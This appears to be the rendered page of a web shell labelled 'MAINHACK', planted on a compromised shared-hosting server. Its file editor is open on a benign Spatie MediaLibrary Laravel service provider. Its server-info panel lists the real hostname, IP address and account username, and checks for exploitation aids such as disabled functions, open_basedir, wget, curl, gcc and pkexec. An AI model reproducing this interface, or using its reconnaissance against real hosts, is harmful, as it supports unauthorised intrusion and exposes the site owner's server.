[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MediaLibraryServiceProvider.php
<?php namespace Spatie\MediaLibrary; use Illuminate\Support\ServiceProvider; use Spatie\MediaLibrary\Conversions\Commands\RegenerateCommand; use Spatie\MediaLibrary\MediaCollections\Commands\CleanCommand; use Spatie\MediaLibrary\MediaCollections\Commands\ClearCommand; use Spatie\MediaLibrary\MediaCollections\Filesystem; use Spatie\MediaLibrary\MediaCollections\MediaRepository; use Spatie\MediaLibrary\MediaCollections\Models\Media; use Spatie\MediaLibrary\MediaCollections\Models\Observers\MediaObserver; use Spatie\MediaLibrary\ResponsiveImages\TinyPlaceholderGenerator\TinyPlaceholderGenerator; use Spatie\MediaLibrary\ResponsiveImages\WidthCalculator\WidthCalculator; class MediaLibraryServiceProvider extends ServiceProvider { public function boot() { $this->registerPublishables(); $mediaClass = config('media-library.media_model', Media::class); $mediaClass::observe(new MediaObserver()); $this->loadViewsFrom(__DIR__.'/../resources/views', 'media-library'); } public function register() { $this->mergeConfigFrom(__DIR__.'/../config/media-library.php', 'media-library'); $this->app->scoped(MediaRepository::class, function () { $mediaClass = config('media-library.media_model'); return new MediaRepository(new $mediaClass()); }); $this->registerCommands(); } protected function registerPublishables(): void { if (! $this->app->runningInConsole()) { return; } $this->publishes([ __DIR__.'/../config/media-library.php' => config_path('media-library.php'), ], 'config'); if (empty(glob(database_path('migrations/*_create_media_table.php')))) { $this->publishes([ __DIR__.'/../database/migrations/create_media_table.php.stub' => database_path('migrations/'.date('Y_m_d_His', time()).'_create_media_table.php'), ], 'migrations'); } $this->publishes([ __DIR__.'/../resources/views' => resource_path('views/vendor/media-library'), ], 'views'); } protected function registerCommands(): void { $this->app->bind(Filesystem::class, Filesystem::class); $this->app->bind(WidthCalculator::class, config('media-library.responsive_images.width_calculator')); $this->app->bind(TinyPlaceholderGenerator::class, config('media-library.responsive_images.tiny_placeholder_generator')); $this->app->bind('command.media-library:regenerate', RegenerateCommand::class); $this->app->bind('command.media-library:clear', ClearCommand::class); $this->app->bind('command.media-library:clean', CleanCommand::class); $this->commands([ 'command.media-library:regenerate', 'command.media-library:clear', 'command.media-library:clean', ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285